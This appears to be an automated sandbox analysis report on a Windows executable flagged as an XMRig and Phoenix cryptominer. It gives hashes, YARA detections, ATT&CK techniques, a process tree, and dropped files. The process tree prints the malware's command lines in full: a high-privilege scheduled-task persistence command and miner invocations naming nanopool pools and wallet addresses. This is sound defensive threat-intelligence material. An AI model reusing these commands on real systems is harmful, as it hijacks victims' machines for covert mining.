xmrig | 90ba71e89e1ec33dc1535708f2a9baf55f493bc8e074f5bd5ea32c6d667ecb4f

Analysis

max time kernel
292s
max time network
290s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
11/03/2023, 22:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

90ba71e89e1ec33dc1535708f2a9baf55f493bc8e074f5bd5ea32c6d667ecb4f.exe
Size

903KB
MD5

7b205c65f9092ee01c821aa5b58bcc6b
SHA1

28f2aeded861c37d6fd90ddb791721a653079cfb
SHA256

90ba71e89e1ec33dc1535708f2a9baf55f493bc8e074f5bd5ea32c6d667ecb4f
SHA512

1661d3a16938ec4e9c85510938b1af2598103c26b88cc2a60ea085350d4c38d10715dbceda5711b0b757d4abb7464d7ac7058e98b1a797f07d407f5ed74f0a84
SSDEEP

12288:8D5lJ0RelUsuvM/vPmyTIPjdgRSzYr9MUlu1vZdptUG5decIljrG:8D5lWYlUsuvMH+36e70

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Detectes Phoenix Miner Payload 8 IoCs

miner

resource	yara_rule
behavioral2/memory/5096-156-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix
behavioral2/memory/5096-157-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix
behavioral2/memory/5096-159-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix
behavioral2/memory/5096-160-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix
behavioral2/memory/3832-243-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix
behavioral2/memory/3832-244-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix
behavioral2/memory/3832-245-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix
behavioral2/memory/3832-246-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix

XMRig Miner payload 18 IoCs

miner

resource	yara_rule
behavioral2/memory/4100-136-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4100-137-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4100-138-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4100-142-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4100-143-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4100-144-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4100-145-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4100-146-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4100-147-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4100-161-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4480-228-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4480-229-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4480-231-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4480-232-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4480-233-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4480-234-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4480-235-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4480-247-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 2 IoCs

pid	Process
4584	Y.exe
1624	Y.exe

UPX packed file 11 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5096-153-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/5096-154-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/5096-155-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/5096-156-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/5096-157-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/5096-159-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/5096-160-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/3832-243-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/3832-244-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/3832-245-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/3832-246-0x0000000140000000-0x000000014082B000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
5096	RegSvcs.exe
5096	RegSvcs.exe
3832	RegSvcs.exe
3832	RegSvcs.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4584 set thread context of 4100	4584	Y.exe	74
PID 4584 set thread context of 5096	4584	Y.exe	75
PID 1624 set thread context of 4480	1624	Y.exe	84
PID 1624 set thread context of 3832	1624	Y.exe	85

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\1601268389\3877292338.pri	SearchUI.exe
File created	C:\Windows\rescache\_merged\1601268389\3877292338.pri	SearchUI.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4456	schtasks.exe
2744	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4712	timeout.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	SearchUI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	SearchUI.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	SearchUI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	SearchUI.exe

Modifies registry class 36 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total	SearchUI.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\windows.cortana	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DomStorageState	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana\ = "23"	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DomStorageState	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana\ = "56"	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "185"	SearchUI.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "152"	SearchUI.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	SearchUI.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana\Total = "56"	SearchUI.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoft.windows.cortana	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana\Total = "56"	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana\Total = "23"	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana\ = "23"	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana\Total = "23"	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\windows.cortana	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "185"	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana\ = "56"	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoft.windows.cortana	SearchUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "152"	SearchUI.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	SearchUI.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4584	Y.exe
4584	Y.exe
4584	Y.exe
1624	Y.exe
1624	Y.exe
1624	Y.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
632	Process not Found
632	Process not Found

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4600	90ba71e89e1ec33dc1535708f2a9baf55f493bc8e074f5bd5ea32c6d667ecb4f.exe
Token: SeDebugPrivilege	4584	Y.exe
Token: SeLockMemoryPrivilege	4100	vbc.exe
Token: SeLockMemoryPrivilege	4100	vbc.exe
Token: SeDebugPrivilege	1624	Y.exe
Token: SeLockMemoryPrivilege	4480	vbc.exe
Token: SeLockMemoryPrivilege	4480	vbc.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4100	vbc.exe
4480	vbc.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
984	SearchUI.exe
3624	SearchUI.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 2740	4600	90ba71e89e1ec33dc1535708f2a9baf55f493bc8e074f5bd5ea32c6d667ecb4f.exe	66
PID 4600 wrote to memory of 2740	4600	90ba71e89e1ec33dc1535708f2a9baf55f493bc8e074f5bd5ea32c6d667ecb4f.exe	66
PID 2740 wrote to memory of 4712	2740	cmd.exe	68
PID 2740 wrote to memory of 4712	2740	cmd.exe	68
PID 2740 wrote to memory of 4584	2740	cmd.exe	69
PID 2740 wrote to memory of 4584	2740	cmd.exe	69
PID 4584 wrote to memory of 2988	4584	Y.exe	70
PID 4584 wrote to memory of 2988	4584	Y.exe	70
PID 2988 wrote to memory of 4456	2988	cmd.exe	72
PID 2988 wrote to memory of 4456	2988	cmd.exe	72
PID 4584 wrote to memory of 4100	4584	Y.exe	74
PID 4584 wrote to memory of 4100	4584	Y.exe	74
PID 4584 wrote to memory of 4100	4584	Y.exe	74
PID 4584 wrote to memory of 4100	4584	Y.exe	74
PID 4584 wrote to memory of 4100	4584	Y.exe	74
PID 4584 wrote to memory of 4100	4584	Y.exe	74
PID 4584 wrote to memory of 4100	4584	Y.exe	74
PID 4584 wrote to memory of 4100	4584	Y.exe	74
PID 4584 wrote to memory of 4100	4584	Y.exe	74
PID 4584 wrote to memory of 4100	4584	Y.exe	74
PID 4584 wrote to memory of 4100	4584	Y.exe	74
PID 4584 wrote to memory of 4100	4584	Y.exe	74
PID 4584 wrote to memory of 4100	4584	Y.exe	74
PID 4584 wrote to memory of 4100	4584	Y.exe	74
PID 4584 wrote to memory of 5096	4584	Y.exe	75
PID 4584 wrote to memory of 5096	4584	Y.exe	75
PID 4584 wrote to memory of 5096	4584	Y.exe	75
PID 4584 wrote to memory of 5096	4584	Y.exe	75
PID 4584 wrote to memory of 5096	4584	Y.exe	75
PID 4584 wrote to memory of 5096	4584	Y.exe	75
PID 4584 wrote to memory of 5096	4584	Y.exe	75
PID 1624 wrote to memory of 2788	1624	Y.exe	80
PID 1624 wrote to memory of 2788	1624	Y.exe	80
PID 2788 wrote to memory of 2744	2788	cmd.exe	82
PID 2788 wrote to memory of 2744	2788	cmd.exe	82
PID 1624 wrote to memory of 4480	1624	Y.exe	84
PID 1624 wrote to memory of 4480	1624	Y.exe	84
PID 1624 wrote to memory of 4480	1624	Y.exe	84
PID 1624 wrote to memory of 4480	1624	Y.exe	84
PID 1624 wrote to memory of 4480	1624	Y.exe	84
PID 1624 wrote to memory of 4480	1624	Y.exe	84
PID 1624 wrote to memory of 4480	1624	Y.exe	84
PID 1624 wrote to memory of 4480	1624	Y.exe	84
PID 1624 wrote to memory of 4480	1624	Y.exe	84
PID 1624 wrote to memory of 4480	1624	Y.exe	84
PID 1624 wrote to memory of 4480	1624	Y.exe	84
PID 1624 wrote to memory of 4480	1624	Y.exe	84
PID 1624 wrote to memory of 4480	1624	Y.exe	84
PID 1624 wrote to memory of 4480	1624	Y.exe	84
PID 1624 wrote to memory of 3832	1624	Y.exe	85
PID 1624 wrote to memory of 3832	1624	Y.exe	85
PID 1624 wrote to memory of 3832	1624	Y.exe	85
PID 1624 wrote to memory of 3832	1624	Y.exe	85
PID 1624 wrote to memory of 3832	1624	Y.exe	85
PID 1624 wrote to memory of 3832	1624	Y.exe	85
PID 1624 wrote to memory of 3832	1624	Y.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\90ba71e89e1ec33dc1535708f2a9baf55f493bc8e074f5bd5ea32c6d667ecb4f.exe
"C:\Users\Admin\AppData\Local\Temp\90ba71e89e1ec33dc1535708f2a9baf55f493bc8e074f5bd5ea32c6d667ecb4f.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4F3E.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:4712
- - C:\ProgramData\telemetry\Y.exe
    "C:\ProgramData\telemetry\Y.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4584
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "Y" /tr "C:\ProgramData\telemetry\Y.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2988
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "Y" /tr "C:\ProgramData\telemetry\Y.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:4456
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 42UrSm3AVbdGqvaeJZ41q5EbEH6mrmTPhftracKxsvSo3VKzs3bRkmeMLeuB5Jutkj8A8PzCDjP78gLghgUpSu2fRKrhE9F --tls --coin monero --max-cpu-usage=50 --donate-level=1 -opencl
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:4100
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -coin etc -pool etc-eu2.nanopool.org:19999 -wal 0x5d6Be357223Fa03F5ED7032BB88164dec43Ff631.work -log 0
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:5096

C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:984

C:\ProgramData\telemetry\Y.exe
C:\ProgramData\telemetry\Y.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "Y" /tr "C:\ProgramData\telemetry\Y.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "Y" /tr "C:\ProgramData\telemetry\Y.exe"
    3⤵
    - Creates scheduled task(s)
    PID:2744
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 42UrSm3AVbdGqvaeJZ41q5EbEH6mrmTPhftracKxsvSo3VKzs3bRkmeMLeuB5Jutkj8A8PzCDjP78gLghgUpSu2fRKrhE9F --tls --coin monero --max-cpu-usage=50 --donate-level=1 -opencl
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:4480
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -coin etc -pool etc-eu2.nanopool.org:19999 -wal 0x5d6Be357223Fa03F5ED7032BB88164dec43Ff631.work -log 0
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:3832

C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3624

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\telemetry\Y.exe

Filesize
903KB

MD5
7b205c65f9092ee01c821aa5b58bcc6b

SHA1
28f2aeded861c37d6fd90ddb791721a653079cfb

SHA256
90ba71e89e1ec33dc1535708f2a9baf55f493bc8e074f5bd5ea32c6d667ecb4f

SHA512
1661d3a16938ec4e9c85510938b1af2598103c26b88cc2a60ea085350d4c38d10715dbceda5711b0b757d4abb7464d7ac7058e98b1a797f07d407f5ed74f0a84

Download Submit
C:\ProgramData\telemetry\Y.exe

Filesize
903KB

MD5
7b205c65f9092ee01c821aa5b58bcc6b

SHA1
28f2aeded861c37d6fd90ddb791721a653079cfb

SHA256
90ba71e89e1ec33dc1535708f2a9baf55f493bc8e074f5bd5ea32c6d667ecb4f

SHA512
1661d3a16938ec4e9c85510938b1af2598103c26b88cc2a60ea085350d4c38d10715dbceda5711b0b757d4abb7464d7ac7058e98b1a797f07d407f5ed74f0a84

Download Submit
C:\ProgramData\telemetry\Y.exe

Filesize
903KB

MD5
7b205c65f9092ee01c821aa5b58bcc6b

SHA1
28f2aeded861c37d6fd90ddb791721a653079cfb

SHA256
90ba71e89e1ec33dc1535708f2a9baf55f493bc8e074f5bd5ea32c6d667ecb4f

SHA512
1661d3a16938ec4e9c85510938b1af2598103c26b88cc2a60ea085350d4c38d10715dbceda5711b0b757d4abb7464d7ac7058e98b1a797f07d407f5ed74f0a84

Download Submit
C:\ProgramData\telemetry\chromeupdater.dat

Filesize
4.6MB

MD5
412ff258a6e1abc84d63455fdccfaf14

SHA1
b34119a96f9f0f3f994a3996681af99c013a8332

SHA256
f87a06752fd48643260a706ffc0b9f4b1c9ef0f152290437e566ee2551e18c84

SHA512
ed1a42ed5ebe311bcd26250ce00afb3fd11f8c1acb750b4b4917a4ad447dbe8067ff846dfcae22327100d7fbcc4d1e38d946007287f0feae17b2115d31276413

Download Submit
C:\ProgramData\telemetry\uninstall.dat

Filesize
5.1MB

MD5
a3d7148655137e92c28b33e48d088088

SHA1
bc98804abf481e58c925a0810c519c6c5f2d3ac0

SHA256
5b0bfb92bb76a12c69669a08ef723377b9eaaf50eab6fe83b4c3f21d593f998f

SHA512
ca131ce06bc6cbd47a58cc11f80a4db576effa3325f11222123fd6829589f29f894834679e09c3e50a50ef8019325d1a6fffab07d49fda43179a544ea4697373

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Y.exe.log

Filesize
1KB

MD5
9bfb0f51f319fb79c0bb1f4f9fcfc7e1

SHA1
367776be8a224b0ee8271dce1723eb675a1964b2

SHA256
35d5a38e77d2755271f2897bcfdd673d3d8daa0e6e412c7272fac51aacb101f3

SHA512
0b103c722c983d513724c36da13de8b18845c3a1e4a311326947e448d304a2dbdd717d914ceeb9e8e11a6083f8ccaf7abad1bf4a2ac22e21de91d6cc74ec17bb

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.cortana_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\VHEBLS1A\microsoft.windows[1].xml

Filesize
97B

MD5
a535a8db27a4fd76abda97fafeda70ca

SHA1
2b0f0ac8df6cdadea89c8be24af0f61eb4aab00a

SHA256
4eda9dfb2cd9be7ed729e375804d0abbcb0b3fd47bdb2004296ca655ccc54b5f

SHA512
